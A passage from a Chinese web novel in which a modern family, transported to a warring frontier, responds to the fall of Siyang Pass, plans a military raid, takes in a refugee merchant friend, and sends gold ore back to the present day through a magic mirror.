袁博文的脸色沉了下来。他上了车后,看到谷雨也坐好了, 发动了越野车。 一路疾驰回到军营。营帐里, 各营主将已经到了大半,每个人脸上焦躁不安。 泗阳关被破,整个北地的格局就不一样了, 郴州和晋州必然会受到影响。 袁博文扫了一眼,对紧跟着进来的谷雨说:“让巡防营和重步营主将赶紧过来!” 谷雨出去了。袁博文来到沙盘旁边,其他主将们也都围了过来。每个人的眼光都看了向泗阳关。 袁博文问:“斥候营是什么时候得到消息的?回来的人呢?” 斥候营主将严云枫连忙把候在外面的斥候叫进来。转达了袁博文的问题。 斥候回话:“……今日卯时三刻,我们在沥水那边碰到了一伙流民,他们是从泗阳关逃出来的……” 斥候回禀了经过。 严云枫低声说:“他们这队一共四人,还有两个并没有回转!” 事关重大,斥候们也不敢大意,一队得了消息后,回来了两个,另外两人继续打探。 袁博文又问:“一路上还有其他异动吗?” 斥候摇头。他们出发得早,得到了消息后,赶紧回来了。 卯时三刻,那就是天刚亮。寻常流民不会在这个时候出动,除非是特殊情况下。 斥候营自从有了摩托车后,跑的地方也远了。沥水已经不在郴州的范围内。 袁博文又问了几句话,让斥候出去了。 主将们脸上的焦虑更胜。泗阳关的人都在逃命了,看来消息应该是确证无疑。 泗阳关一旦被破,后面千里山河再无雄关,北凉人长驱直入,打到京都要不了多长时间。 “大家怎么看?”袁博文问。 “大人,泗阳关已破,霍云泽那孬种退守同城,北凉必会追击,留在泗阳关的人一定不多!这个机会难得!咱们若是拿下泗阳关,那就断了萧南召的退路!” 黄峥性急,忍不住说道。 有同样的想法的主将不止他一个,听他说完,附和点头。 霍小北欲言又止。袁博文看到了。 “霍副将怎么看?” 霍小北拱了拱手。这里面就他一个副将。长枪营主将上次受伤,还没好全,如今长枪营暂时由代管。 “眼下突袭泗阳关,我认为不妥。他们南下追击,一定会在泗阳关留下了后手,不会让我们轻易得手。” 轻步兵营主将点了点头:“我赞同霍副将的说法!” 黄峥眼睛一瞪:“咱们怕他们吗?北凉骑兵再厉害,上次还不是被咱们全歼了!” 袁博文说:“上次是他轻敌了。” 他一开口,黄峥就安静了。 轻步兵营主将皱了皱眉头:“这镇北王不是挺厉害的吗?怎地会突然丢了泗阳关?” 没有人回答,大家心里都有疑惑。 霍云泽镇守北疆多年,威名赫赫,来到泗阳关后,还算记了他们一把,结果,这才顶了多久,就丢了泗阳关。 由于关正的死,大家都对霍云泽不怀好意,言语中也没多少尊敬。 袁博文也觉得奇怪,他还想着在郴州多呆些时日呢,至少把金子挖的差不多。结果,才开始挖,泗阳关就破了。 泗阳关,那可是有名的险地,易守难攻。 霍云泽不是威名赫赫吗?还算计让关正去烧粮草!结果,他居然这么不中用? 这下子,他得知从长计议了。 “他就是孬种!哪里厉害了?”黄峥毫不客气开口。 他跟关正的关系素来不错,对霍云泽早就看不惯了。 “大人!您说句话!咱们到底该怎么做?” 袁博文想了想:“霍云泽退守同城,消息确切吗?” “等确证就晚了!萧南召破了泗阳关后,必会南下,同城一定挡不住,他们会很快就到京都城下!” 袁博文抬眼看了黄峥一下:“那你说,咱们该如何做?” “自然是趁此机会,拿下泗阳关,断了萧南召的退路,让他有来无回。” “然后呢?”袁博文又问。 “然后?”黄峥愣了一下,“……自然是与南方诸路勤王人马夹击萧南召……” 袁博文看着他:“你怎么知道各路诸侯勤王人马一定会来?若是不来呢?即便是有,你觉得他们会往北边跑吗?” 黄峥愣住了。以往君王有难,常有各路诸侯起兵勤王,但是能成的极少。这里面道道太多。 而且,即便是有勤王人马,他们首先也是奔京都而去,那里才是需要勤王的地方。 袁博文缓缓说:“且不说是否有勤王人马了,你们觉得萧南召会让我们轻易拿下泗阳关,断了他们的后路了?” 主将们鸦雀无声。 黄峥这才想到,那可是泗阳关,号称第一雄关,地势险要,易守难攻。北凉十万铁骑,也是对峙了许久,方才拿下。 巡防营主将江虎和重步兵营主将匆匆进来了,拱手行礼后,自觉站到后面。 “萧南召不是个蠢人,他一定在泗阳关留下了后手,等着咱们过去呢!” “此法不通!与其掉进萧南召设好的圈套里面,咱们还不如在这边有所作为!” 袁博文说着,在沙盘上重重画了一个圈:“黄将军有句话我赞同,萧南召攻破泗阳关后,必会南下。北地这边的人一定不会多。咱们不打泗阳关,打这里!” “他们打他们的,咱们打咱们的!拿下这里,咱们在北地就稳住脚跟了。往东可以收复沔州商州,往西可以拿下林州……” 江虎在过来的路上已经得知原委,原本慌了神,现在听袁博文这么一说,眼睛一下子亮了。 南边打南边的,他们在北边继续收复失地,这可比追在北凉人屁股后面打好多了。 追着北凉人打,且不说打不打得过了,即便是打过了,那功劳也不是他们最大。 自己打自己的,那就不一定了!南边打赢了,也不能忽略他们收复失地之功。 打输了,那就是另一种局面,他们在北地占了那么大的地盘,谁敢轻视? 大不了,自己干…… 江虎心里一热,忍不住悄悄看袁博文一眼。 其他主将们纷纷点头附和。 轻步兵营主将指着袁博文圈下的地方说:“要打这里,最好是绕道。这片地儿不太平,土匪太多,地势也复杂。” 袁博文淡淡说:“土匪太多,那就先剿匪!刚好让军中的新人磨练磨练!” 这下,都没意见了。都盯着袁博文画下的那个圈。 袁博文看了一眼霍小北,把他点出来:“你营中新人最多,剿匪这件事情就交给你了。” 霍小北应下了。 袁博文又看向江虎:“最近郴州城里已经来了不少流民。若是泗阳关真的已经被破,想来要不了多久,还会有更多流民过来。巡防一定要加强巡防,防止有人闹事。” 江虎恭敬应下。 “斥候营加强南路打探,有任何消息,赶紧回禀!” 斥候营主将严云枫应了一声是。 袁博文又看向沙盘,他画的圈不大,在郴州和晋州之间,若是连起来,就是三角了。这样的局面最稳,相互之间都能支持。 事情还没有议完,打探消息的斥候回来了。 泗阳关确证已于一天前被破,镇北王霍云泽退守同城。 这件事情起于泗阳关组织的一次突袭,结果出师不利,不仅突袭的人马损失惨重,反而在接应时被北凉人顺势攻破了关口,就此大败。 袁博文听了后,好一会才缓过神。 黄峥已经破口大骂:“霍云泽这厮,头被驴踢了吗?一次偷袭就让北凉人破了泗阳关!他难道没跟北凉人打过吗?一点自知之明都没有!他以为他是谁?” 轻步兵营主将接话:“应该是大意了!” 江虎点头,看了袁博文一眼。他觉得这件事情与袁大人多半有些关联。 他们在袁大人的带领下,一胜再胜,不仅保住了晋州,还拿下郴州,全歼了北凉近一万精锐。 这些事情泗阳关一定也知道了,说不定他们认为北凉受了这样挫折,实力受损,再加上粮草被烧,所以就想趁机偷袭一把,奈何实力太差,不仅没有偷袭成功,反而还弄丢了泗阳关。 那霍云泽实在没有自知之明,他以为袁大人能做到的事情,他也能行!结果,成了这样的局面。 弄丢了泗阳关,后面再无险可守,也不知道接下来南边会乱成什么样子?这么大的事情,朝廷必会严责,不知道到时候,他霍云泽能不能顶住! 江虎想到这里,心里有些暗爽。 算计他们,害死守备大人,现在总算轮到姓霍的吞苦果了! 袁博文已经回过神来,但不知道怎么评价这事。事已至此,只能往前看。不过,他心里已经不慌了。 晚上回到府里后,袁博文就把泗阳关已破的事情告诉谢云溪。 谢云溪也傻了眼,愣了好一会儿,才回过神来:“同城那里的守兵不多吧?” 袁博文点头。他们去过同城,那并不是一座大城,距离重兵把守的泗阳关不远,城中驻守的军队不多,官职最大的武将也就总兵级别,副五品。 谢云溪摇了摇头:“同城一定挡不住!也许现在已经被北凉人拿下了,霍云泽大意了!这下南边要不好了。” 想到曾经见过的富裕繁华,谢云溪忍不住说:“这霍云泽怎么这么冲动?做事之前,难得就没有想过后果吗?” 袁博文也不知道怎么评价霍云泽这次的行动,他怀疑可能与自己有关。 是自己胜得太容易,给霍云泽造成了错觉吗? 至于同城是否能守住,他和谢云溪的想法差不多,但是这里通讯不畅,想要得到准确消息,至少要两三天后,他们在晋州和郴州之外,消息很滞后。 “你们准备怎么办?” 袁博文说:“黄峥他们建议趁机拿下泗阳关,我没同意。” 谢云溪赞同:“萧南召不是个傻子,不会把这么大的漏洞让人抓住,他一定在泗阳关留下了后手。” “你的想法跟我差不多。往南肯定不行,所以,我决定往北。他们打他们的,咱们打咱们的。不管南边打的怎么样,咱们在北地收复失地,总是有功无过!” 谢云溪想了想,点头,“跟着霍云泽和北凉人后面打确实不好,霍云泽这人不可信,他肯定知道咱们已经知道了他害死关正的事。他不会轻易放过我们,咱们一点根基都没有,跟他不能比,绝对不能跟他一起。” 袁博文早就想过这些了,所以即便是大顺赢了,他对前景也不看好,也准备了要开溜。现在,局势这么一变,他反而隐隐觉得或许是件好事。 袁博文低声把自己的打算告诉了谢云溪:“……贺州那边土地肥沃,你不是想种棉花,我觉得那里就挺合适。” 谢云溪笑了:“想要种棉花,还得好几个月呢。” 不过,她虽然这么说,心思却已经飞到种地上面。 “泗阳关已破,北凉人进关的事情,估计明后两天就会传开,城里一定会有些动荡,我已经跟袁归说过,让他注意点,咱们在梧桐巷那边的两间铺子可得看好了。” “枫叶巷那边的织坊,要不要给你加些人手?” 谢云溪想了想,点头:“再加一队护卫吧,那边院子里都是女的,乱起来她们顶不住。” 况且里面还有纺纱机和织布机。 现在的谢记布庄,棉衣已经成了紧俏货,每天都能卖出好几十件。城里已经有其他商家在打听棉花棉布的事情。 不过,他们在知道谢记布庄后面的东家是谁后,纷纷停了手。 但即便是这样,枫叶巷那边的宅院附近也经常能看到生面孔。 无论什么时候,总是会有人为了钱财,不顾一切。 “你这几天也要少出门,有什么事情就让底下的人去办。我估计过几天城里会来不少流民,人多手杂,免得出乱子。” 谢云溪答应了,感慨说:“乱世里人命如草芥,这些人……跑来跑去,最后还是回来了。” 她想起几个月前,北凉刚开始南下的时候,晋州知府朱青松得知郴州城破,竟然偷偷弃城逃走,城里许多有钱有权的人也跟他一样,一看情况不对,慌忙逃命。 那番台连大人逃走的时候,连藏在密室里的诸多财宝都来不及带走,便宜了他们。 这些人自然是往南边逃了,也不知道他们到了泗阳关后,是继续南下了,还是留在了泗阳关? 留在了泗阳关的这些人,现在不知道是什么心情?众所周知,北凉人进城后,烧杀抢掠一定少不了。这些人也不知道能不能活下来? 现在都有泗阳关的人往北地出逃,过几天肯定更多。 这些往北跑的人,自然大多数是北地的原居民。这些人里面肯定有大家的熟人,也不知道到时候见面,他们会是怎样心情? 第116章 第116章 好友 第二天, 谢云溪没有出门,袁博文则一大早就来到了府衙。张时文已经听到了风声,正准备要去军中找他。 “袁大人, 我听说泗阳关破了!此事当真?” 袁博文点头:“已经有两天了!” 张时文变了脸色。府衙里还有两位早到的大人, 也都吓了一跳。 袁博文看了看他们:“军中也是昨日傍晚才得到了准信。” 府衙早到的两位大人一个是郴州本地人, 姓胡, 名仲之,早年也曾得到过功名, 奈何看不惯一些事情,只在京都呆了几年就回了乡。张时文与他有旧,来到郴州后,便将他请了出来。 另一位则是跟着张时文一起从晋州来到郴州的钱大人。 胡仲之在北地经营多年, 消息比一般人灵通,一大早听闻泗阳关被破, 北凉人进关的消息,他连早食都来不及用,匆匆过来了。 此刻确证了消息无疑,他忍不住发火:“怎么会这样?泗阳关被破, 北凉人南下,要不了多久就能到京都城下了啊!” 张时文和钱大人也都皱着眉头。 袁博文说:“这件事情要不了多久就会传开,到时城中许是会有些动荡,我已经跟巡防营江将军嘱咐过,让巡防营一定要加强巡防, 谁要是胆敢闹事, 一律重罚!” 张时文点头。局势骤变,最容易生乱。郴州城里人事复杂,确实不能大意。 “府衙这边就交给张大人了, 请张大人和几位大人务必做好引导和防范!泗阳关已经有许多人往这边而来,要不了多久他们就会到达!” 张时文拱手应下了。 袁博文又说:“这些人里面许是有郴州本地的,他们进城后,若是出现纠纷,一概凭依据说话。” 张时文立刻懂了。 前不久,巡防营将城中的空宅和一些无故被霸占的宅院全部清理了出来,并且将其中一些推向了市场。 由于班车的开通,已经有不少晋州人过来了,在郴州这里置办了宅院,他家也是其中之一。 这些天进城的流民也不少,有些人家暗藏富贵,进城后也买了宅院。 这些宅院许多都是先前巡防营清理出来的那批,府衙的财务也因此充裕了不少。 马上就有大批流民进城了,这些人里面肯定有郴州本地人,他们当初离开郴州的时候匆匆忙忙,很多东西都没有带走,房宅之类更是不用说。现在回来,免不了会有些纠纷。 袁大人的意思是一切凭证据说话,若是有证据证明,那就物归原主,若是没有,那就要另当别论了。 “大人放心,流民再多,郴州城也不会乱!” 张时文掷地有声。 袁博文心里踏实了不少,张时文做事一向给力。只有郴州内部不乱,他能保证外面的乱一时半会烧不进来。 “晋州和郴州之间的班车要不暂停一段时间吧!” 张时文吓了一跳,胡仲之和钱大人也连忙出声。 “大人,我等知道流民一多,城外必定不会太平!但这班车实在作用太多!最好不停!” 袁博文只知道班车火热,每天有很多人排队买票,但具体数据他还没有看。 “我和府衙几位大人昨日算了算班车运营后带来的效果,从晋州到郴州的这趟班车一直满员,近来很多晋州民众在郴州置办了宅院和铺子,他们还把自己种的菜也带到了郴州售卖……” “郴州到晋州的班车,刚开始没有那么多人乘坐,现在也多了起来,排队买票的情况比晋州那边更火热了。晋州的物资虽不多,但价格公道,已经有不少商贾专门在晋州买到货品后,带到郴州来售卖……” 张时文的话还没有说完,袁博文就明白他的意思。班车开通后,两座城市的来往便捷了许多,促进了商贸往来,也让府衙的税收增加了不少。 他想了想。 “班车不停……也可以,但是要注意路途安全!现在,随从护卫还是只有一个人吗?” 现在没人管他们死活了,自负盈亏,那自然能挣钱就要办法挣钱了。赋税也是地方财政的重要收入之一。 张时文松了一口气:“并不是,已经是两人!” “那就再增加一个人!乘坐的人也跟他们事先交待好!” 现代的公交车还有各种保险,这里一时半会讲究不起来,不过可以事先跟旅客言明,免得真出了事,有人找麻烦。 张时文应下了,“我等必会事先说明!” 袁博文将事情交待清楚后,离开了。 胡仲之欲言又止,看着袁博文离开的背影,好一会儿后才转过头。 “袁大人倒是沉着,这么大的事情,他一点都没见慌乱,也不知道军中是怎样打算?” 张时文笑着说:“军务大事,不是你我能窥视,咱们做好府衙的事情就行。” 一旁的钱大人也笑着点头:“袁大人不慌,定然是心里有数。咱们也不用担心。” 胡仲之看着张时文和钱大人,无奈摇头:“你们俩倒是有恃无恐,就这么相信你们的袁大人吗?” 张时文笑了。他知道胡仲之心急,想打听军中的动向,虽然他也想知道。但是军务大事,确实不能随意透露。 钱大人笑呵呵说:“当时在晋州,我们跟你们现在的想法差不多,但后来不仅晋州保住了,袁大人还拿下郴州。我就明白了,跟着袁大人一准没错,他不担心,那自然是心里有数,咱们也不用担心。再说了,咱们担心,有用吗?” 胡仲之想了想,觉得有些道理。晋州那地方他去过,不到郴州的一半大小,城墙也不高,周围几乎一马平川,这样的州县想要在北凉的铁蹄下幸存下来,着实不容易。 如今的北地,几乎遍地生灵涂炭,独晋州安好,这里面袁博文的功劳最大。周围的人信服他,不足为奇。 军务大事,确实不能随意窥视。 随后胡仲之又想起了泗阳关已破,北凉人南下的事情。心里一片凄凉。南边的繁华转眼就要成空了,不知道又有多少人会家破人亡。 那镇北王威名赫赫,也不过如此! 袁博文回到军中后,又写了一封信,让人给晋州那边送了过去。 这天,郴州城里果然传出了风声。三天后,郴州城外的流民骤然多了起来,泗阳关已破,北凉南下的事情已经不是秘密了。 北凉南贤王萧南召攻破泗阳关后,很快拿下南城和锦阳,听说已经到了西宁城下。 这几天,谢云溪一直没有出门,好在府里的院子够大,她并没有感觉烦闷,对城里城外的事情也不是一无所知。 郴州城里的流民最近虽然多了不少,但还算平静,小偷小摸的事情有,d/砸/q/杀倒是没听说。城内的巡防很严,发现了闹事,处罚不轻。 谢记粮行和布庄的生意都很好。经过了上次的军需粮草售卖事件后,郴州城里的粮价这次没有上涨,依旧维持着原价。 不过,听说周边的粮食涨价涨得很厉害,但这股风没能吹到郴州和晋州来。 谢记布庄的棉布棉衣销售的非常好,尤其棉衣,在刚开始流民大量进城时,曾一度卖断货。 一件棉衣二两五钱银子,比填塞着柳絮和芦花的夹衣略贵,但是穿上身上的感觉完全不一样。 流民群里,并不是人人穷困潦倒,有些暗藏富贵的,进了城后,纷纷穿上了棉衣。 销量太好了,枫叶巷那边的织坊加上晋州那边的女工也满足不了这样的需求。没办法,谢云溪昨天晚上就让袁淼又传了一批棉衣过来。 看着这几天的账簿,谢云溪越发觉得在郴州开粮行和布庄是明智之举。 郴州和晋州的体量差别太大了。 不到一个月的时候,他们就赚了将近两千万。 一件棉衣,女儿买到手一百多元钱,他们卖出,一件二两五钱银子,也就是四千多元钱。 差不多一件能赚到四千多元钱。 再加上棉布棉质夹衣以及其他面料的布匹,不到一个月的时间,谢记布庄的盈利就有一千多万了。 粮行的情况也很好,虽然不到千万级别,但也差不多了。 不过,谢云溪也知道,这种情况不会持续很久。棉衣现在卖的好,是天气冷。衣裳这种东西,跟粮食不一样。有了一件,可以穿很久。但是粮食就不行。饿个几天,人就得没命。 谢云溪刚把账簿看完,念荟进来了。 “夫人,前院来了一位客人,说是姓姚,这是他的名贴。” 谢云溪接过打开一看:“人走了吗?” “没有,陈管事正陪着说话。” 谢云溪起身:“我去看看!” 她换了身衣裳,来到前院正房,府里的管事正陪着一位大腹便便的中年男子说着话。 “姚掌柜!原来真的是你!”谢云溪惊喜说道。 中年男子慌忙起身,看到谢云溪也很高兴,但也没忘记行礼:“袁夫人!” “快请坐!”谢云溪招待说,让管事上了好茶,仔细打量对面的人。 “姚掌柜,您这是从哪儿来的?我们到了郴州之后,子虚到处打听你的消息,都说你在郴州城破之前就离开了。这是真的吗?姚夫人他们呢?” 这人叫姚青山,是袁博文和谢云溪来北地时结识的好友,他是个商人,走南闯北多年。袁博文和谢云溪来到这个世界后,一直想回去,后来还是听姚青山的话,才在北地住了下来。 姚青山叹了口气:“不瞒夫人,我们是从泗阳关过来的。郴州城的人说我们在城破之前就离开了,倒也不假。只是那时候离开郴州的只有我。内人他们在城外的庄子里,郴州城破之后,他们唯恐被北凉人发现,这才离开。我们在泗阳关碰了头。” “那就好!只要人没事,其他的,都不要紧!” 姚青山眉眼一动,垂了下来。谢云溪注意到了。 “姚夫人和孩子们也来了郴州吗?他们现在在哪儿?” 姚青山终于忍不住了,声音哽咽,“莲月和耀儿琴儿他们都在悦来客栈,瑟儿……路上没了!” 谢云溪怔了怔。 她知道姚青山和张莲月有一子两女,长子姚云耀,今天十二岁。姚琴姚瑟是张莲月年近三十时才有的一对双胞胎女儿。去年周岁宴时,她和袁博文还来郴州吃过一次酒,两个孩子几乎一模一样,十分可爱。 “什么时候的事儿?” “就在前几天……” 原来,泗阳关被攻破是在晚上,城里的人大多数都已经睡下了,姚青山夫妇也不例外。被吵醒时简直不敢相信听到的,但外面闹闹嚷嚷一片,动静确实非比寻常。 姚青山走南闯北多年,很快就反应,赶紧让下人收拾,裹了要紧物件,带着老婆孩子们才出门口就看到一队士兵慌忙跑过,抓住了一个问,才知道泗阳关破了,北凉人进了关。他们吓了一跳,好在早就有所准备,在码头那边备了一条船。 等他们上了船,回头望时,泗阳关已经一片火海了。 匆忙上路,天寒地冻,没走多远,姚琴姚瑟就病倒了,偏路上找不到郎中,又遇到了土匪,被抢了不少东西,姚瑟的身体弱些,就没有熬过来。 谢云溪听完,心里也不好受。 “姚夫人他们是在悦来客栈吗?我马上让人去接!” 姚青山连忙叫住了她,道了谢,面上有些犹豫。 谢云溪一向细心:“姚掌柜,你们既然来了郴州,怎么能住客栈?我立刻让人收拾,去接姚夫人。琴儿的病好些了吗?” 姚青山叹了口气,拱了拱手:“多谢夫人!我今日过来,是有一件事情想麻烦你们!” 谢云溪笑了:“姚掌柜不用客气,子虚一直挂念着你们,有什么事情,但说无妨。” 姚青山犹豫片刻:“……夫人知道我们在郴州原来是有住所的,但北凉人进城的时候,那地方被占了去。” “听说现在是府衙管着。原主想要拿回,需得出具证据。但当时内人他们离开时实在匆忙,房契等之类的都没有带上。” “原来是这件事情!姚掌柜不用担心,你们在枫叶巷的宅院虽然是府衙管着,但那是为了方便管理,暂时落了锁。子虚交待过了,要好好看管,现在你们回来了,自然是要物归原主。” 姚青山忍不住喜形于色:“多谢!” 他们从泗阳关出来后,路上辗转走了十余天,到了郴州城下,审查十分严格,好不容易进了城,发现郴州城里已经大变了样,自家原来的宅院被贴上封条,这是府衙的标识,任何人都不能擅动,听说想要拿回,必须得出具的证据。 他们哪里还有证据?房契等之类早就不知道去哪儿。把妻儿安顿后,他想了又想,还是来了这里。 现在,宅院有望拿回,姚青山心里轻松了一大截。 谢云溪笑着说:“不过,你们今日想住进去怕是不行。北凉人走后,那里有些乱,府衙不敢擅动,便没有收拾。” 其实,并不是。郴州被晋州军拿下后,巡防营清点排查,对北凉人住过的地方格外重视,都差点掘土三尺了。姚府也不例外。后来,袁博文想起了姚青山,到那里一看,已经面目全非了。 原本,这样的情况是要登记在府衙那里,推向市场的,但袁博文觉得好歹熟人一场,姚家的人回来不好交代,便让人落了锁,免得又被人强占了。 姚青山的心情已经大不一样了,只摆手说没事。 他心里清楚,像他这样的情况,能要回宅院已经不容易了。府衙不管,那宅院现在肯定有人住着。想要要回来,不是一件简单的事情。 两人正说着话,袁博文回来了。谢云溪陪着坐了一会儿,便离开了。她回到了房间后,就跟袁淼见了面。 袁淼已经等了一会儿:“爸爸还没有回来了吗?妈,你在忙什么?” “刚府里来了一个熟人,我过去陪着说了会话,现在你爸在那边。” 袁淼放心了:“是谁呀?” “姚青山,我们以前来北地时结识的一个朋友,他是个商人,走南闯北去过很多地方。” 袁淼也知道了泗阳关被破的事情,郴州城里来了很多流民,这也导致粮行和布庄的生意很好,尤其棉衣,销量惊人:“他……是从泗阳关逃出来的吗?” 谢云溪点头,把姚青山的情况告诉袁淼。袁淼的心里倒没有过多感伤,这样的事情,她听父母讲了太多。 说完了姚青山的事情,谢云溪又跟袁淼把账对了一遍。袁淼看到最后的总账,不禁感叹:“这棉衣卖得太好了吧!” 一个月不到,光卖棉衣,他们就赚了将近千万。 谢云溪笑着说:“这种情况持续不了太长时间!这里的人们,买一件棉衣,至少要穿好几年,跟现代不能比。” 袁淼点头,她知道父母那边的布奇贵,两边世界的价差高达百倍。“他们不需要更换着穿吗?” “一般人家哪有这个条件?洗个澡,都得十天半个月一次,现在天气冷,形势又不好,一个月能洗一次澡就算不错了。” 袁淼听得瞠目,一个月才洗一次澡,那衣服自然不会更换得很勤了。棉衣确实跟粮食不一样。也许生活条件好了之后,棉衣的销量会更好。 对了账,袁淼又记下这次需要购买的物资。袁博文出现了。袁淼笑着说:“爸爸,你的客人走了吗?” “走了!”袁博文在谢云溪旁边坐下来。 谢云溪说:“粮行和布庄这次需要物资我已经跟淼淼说了,你那边要不要添什么?” “这次不用。” 袁博文今天这么早回来,是为了跟袁淼说矿石传递的事情。矿区那边已经积累了不少矿石。原本几天前就要传过去的,但他一直太忙,拖到今天,才能早点回来。 “淼淼,你明天上午七点左右能去兴达矿厂那边吗?我把这些天采集的矿石传给你。” 袁淼早就在等这件事情了,她一口答应了。 “兴达矿厂那边真的都安排好了吗?不会对你造成什么影响吧?” 即便是已经听袁淼讲过兴达矿厂那边的情况,袁博文也不敢大意。这边的情况,他可以掌握,但女儿那边的情况却掌握他人的手中,即便是知道陈博川和叶家振等人绝对可靠,他还是没法彻底放心。 “不会!你们别担心了。”袁淼笑着回答。 袁博文又仔细交待了一番后,才作罢。 谢云溪说:“刚才,姚青山跟我说起他们在枫叶巷的宅子,我答应了可以给他,这个没问题吧?” 袁博文笑着说:“这能有什么问题?那宅子原本就是他的。不过里面乱的很,他们想要住进去,得好好收拾一番才行。” “府衙那边不是规定,要有凭据,才能拿回房产等吗?这话难道不是你授意的吗?” 袁博文笑着点头:“是我说的没错。北凉人走后,郴州城里的空房子不少,咱们要是不管起来,这一块就会变成谁的拳头大,谁就能住进去。” “现在,咱们管起来了,也卖了一些。原主如果想要回来,不给点周折,他一定会认为是天经地义的事情,天底下哪有这么多好事?” 谢云溪点头。太容易得到了,是会有这么的心态。 “姚青山的双胞胎闺女没了一个,他跟你说了吗?” “说了。我也跟他说了,让他暂时住到咱们这边来,等他们把枫叶巷那边的宅子收拾好后,再搬过去。” “他同意了吗?” 袁博文点头:“他夫人和另一个小女儿还在病中,在客栈住着,确实不好……念荟现在出师了吗?” “你想让念荟给她们看病吗?若是简单的病症,应该没问题。不过,我觉得还是先请郎中看看吧!” 谢云溪有自知之明,她如今大着肚子,不好再给人诊病了。而且,姚青山跟他们关系不错,一旦出了差误,对两家人交情会有影响。 “好吧!”袁博文感慨说,“姚青山这个人很有生意头脑,如果招揽到他就好了!” 谢云溪笑了:“现在这种形势下,再有生意头脑,也不敢乱动呀!” 袁博文笑着摆了摆手:“这次你就说错了。越是这种情况下,越是能挣到大钱!” 谢云溪愣住了。突然想到了刚才看过的账簿。 还真是了。越是乱,有些商品赚得越多。尤其是他们现在的情况下,背后有个丰足发达的异世界支持。光是两个世界的差价就能赚得盆满钵满。 “现在南边也乱了起来,萧南召已经到西宁,马上就要过年了,翻过年就是开春,来年的春种一定会受到影响,粮食价钱的暴涨几乎是铁板钉钉的事情,如果这个时候咱们把粮食卖到南边去……你说,会是什么情况?” “你想让姚青山帮我们把粮食卖到南边去?” 袁博文点头:“咱们既然有这个条件,为什么不做?还有棉衣棉布!” “如果,咱们真的在北地种出了棉花,那就把织坊做大,搞成工厂!就凭咱们现在的织布速度,一旦扩大了规模,南边的那些小作坊根本不是对手!” 第117章 第117章 怀疑 谢云溪也心动了。要是能打通南边的商道, 不仅他们能挣到钱,对处于混乱中的南边老百姓来说也是一件好事。 姚青山走南闯北多年,不仅认识的人多, 姚记的铺子也是遍地开花, 北地和南边都有。不过, 他是北地人, 生意主要还是在北地这边。 即便是不往南边发展,借着姚青山的路子, 把粮食和棉衣棉布卖遍北地,也足够他们大赚一笔了。 “我明天就让人去悦来客栈接人!等把人接到之后,再请个郎中来看看。” “如果中医诊出了病症,用不着西医的那套, 咱们就不出面,如果不行, 再让念荟看看。” 袁博文点头,又说:“姚家在枫叶巷那边的宅子,也派几个人过去帮忙收拾!” “放心吧,我会安排好。” 既然想请人家帮忙, 那自然是要在对方的事情上能出一份力就出一份力。先示了好,后面也好开口。 袁博文的想法跟谢云溪一样,不过,他的事情太多,在姚家的这些事情能做有限。 “过几天, 我要出去一趟, 这件事情知道的人不多。到时候,你也别出门了。” 谢云溪心里一跳,低声问:“是要去贺州那边?” 袁博文点头。 谢云溪的心一下子提了起来。每次打战, 她都很紧张。 她知道偷袭贺州是几天前就定下来的事情。借剿匪之名吸引贺州那边的北凉驻兵的注意,晋州军的主力则会从另一边悄悄接近。 “这次还是谷雨跟着你一起去吗?” 袁博文默默点头。商泽的伤还没有完全好全,前几天就被他叫到了郴州来,目前管着矿区那边的事。 谢云溪进到里间,在自己的小药房里面挑了些药出来,打了个包裹。 袁博文已经来到了谢云溪旁边,笑着说:“你不用担心,贺州那边的北凉人不多,用不着这些。” “有备无患!” 既然是偷袭,自然不会带上军中的医官们。 “这里面有止血消炎药,还有缝合针等,紧急情况下伤口怎么处理,你知道吧?” 袁博文笑着点头。耳闻目染,一些医学常识,他知道。 “包袱明天就让谷雨带着……防护衣,你再带一件!” 损坏了可以及时更换。她可没忘记上一次穿在里面的棉衣都被划开了。战场上刀剑无眼。 谢云溪说着,又拿了一件防护衣出来,一并放进包袱里。 袁博文笑着扶住了谢云溪的肩膀:“好了!我不会莽撞,你别担心了,早点休息。” 谢云溪看着袁博文。战场上的事情,她不懂,这次后勤都做不了。 “你自己小心!” 袁博文点头,哄着谢云溪歇息后,他又去书房里坐了会。第二天醒来,天还没亮。谢云溪睡得正沉。 袁博文小心翼翼起身,仔细包好镜子后,来到了城外的矿区。 天依旧还没亮,不过,商泽已经带着人等在入口了。 袁博文让商泽上了车,询问矿区的现状。 工人们要到辰时才上工,现在居住区那边一片安静。 整个矿区除了放置矿石的地方,其他都在护卫的监视下。 袁博文点了点头。商泽做事越来沉稳了。 到了地方后,袁博文就看到了堆积如山的矿石。他看了商泽一眼,商泽会意,退到拐弯的地方,背身而立,警惕注视着周围的一切。 袁博文仔细看了一通周围,确认没有问题后,才把镜子拿出来。很快,袁淼就出现里面了。 “爸,我这边准备好了!” 袁博文已经看到了袁淼身后的空地。 “你周围没有其他人吧?” “没有,这里只有我一个人。卫总在厂区外面!”袁淼说着,把周围的环境照给袁博文看。 袁博文心里踏实了一些。这才将矿石传了过去。 袁淼转过身看到堆积如山的矿石时,好一会才回过神:“爸,已经传过来了!” 袁博文已经在镜子里看到了,“你小心点!能不让人看到就不要让人看到!” “我会注意!” 两边都不是私密场合,袁博文和袁淼不再多说。断开了联系后,袁淼收好了镜子,看着眼前的矿石堆,她捡起了其中一块细看。 灰黑色矿石表面肉眼可见许多金黄色的颗粒和斑点。 袁淼很惊讶。 博云矿业名下的那座金矿目前还在开采中,她也看过那里开采出来的矿石。别说肉眼看到金了,拿着放大镜,她都没有看到金色的颗粒和斑点。 眼前的这堆矿石,含金量非常高! 袁淼心里忍不住激动起来。 这么多矿石,足有几千吨,也不知道能多出金子? 其实,她现在已经不缺钱,即便是上次收购了振兴矿业公司70%的股份,她个人账面的资金也没有低过九位数。 但是,有谁会嫌弃钱少呢? “喂!卫总,是我……是的,已经传过来了,对!您过来看看吧!” 挂了电话,袁淼站了一会儿,就看到卫明匆匆过来了。但还没有近到跟前,他的脚步就慢了下来。 袁淼让开身。 卫明的眼睛直愣愣看着眼前的矿石堆,眸子里满是不可置信:“这些……就是吧?好!好!很好!”一会儿后,他才缓过神,笑容可掬:“小袁啊,辛苦了!” 袁淼笑了笑:“……卫总,这些矿石什么时候可以运到博云矿业?” 卫明心里依旧没有平复下来,他的眼睛依旧看着矿石堆。即便是没有工具,他也看出了眼前的矿石堆含金量不低。 “你放心,今天一定能运过去!” 虽然上面交待过,要尊重袁家父女的隐私,但是这么大一批矿石从异世界传过来,怎么着也得往上面打个报告吧。 袁淼笑着道了谢。 她理解卫明的小心。 毕竟是异世界过来的东西,接收之前至少要确定是否安全吧。 